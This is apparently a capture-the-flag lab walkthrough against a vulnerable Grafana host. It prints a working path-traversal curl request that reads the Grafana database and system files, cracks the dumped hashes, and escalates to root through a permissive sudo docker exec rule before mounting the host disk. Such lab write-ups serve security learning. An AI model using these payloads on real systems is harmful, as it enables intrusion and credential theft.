notes
Warning: 10.10.107.206 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.107.206
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
ssh And a grafana instance.
A vulnerable version.
Googling around I found about File Disclosure vulnerability.
https://exploit-notes.hdks.org/exploit/web/grafana-pentesting/
curl --path-as-is http://10.10.85.169:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
Dump the db file
sqlite3 grafana.db .dump
These hashes were not valid.. Googling around I found this github repo that helped make this hash in a format which hashcat can work with.
I was able to crack hashes for boris user.
With this credential I can login as user boris.
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *
I can run docker with it I can try to get a shell on host where grafana is running on, well first I need to get hostname of grafana docker instance.
curl --path-as-is http://10.10.85.169:3000/public/plugins/alertlist/../../../../../../../../etc/hostname
e6ff5b1cbc85
sudo /snap/bin/docker exec --privileged -it -u 0 e6ff5b1cbc85 /bin/bash
bash-5.1# whoami
root
Doing some enumeration I found
The output shows that /dev/xvda1 is mounted, but only on specific files (/etc/resolv.conf, /etc/hostname, /etc/hosts).
bash-5.1# df -h
Filesystem Size Used Available Use% Mounted on
overlay 4.8G 1.8G 2.9G 39% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 991.8M 0 991.8M 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/resolv.conf
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/hostname
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/hosts
I ll mount the entire partition.
mount /dev/sda1/ /mnt
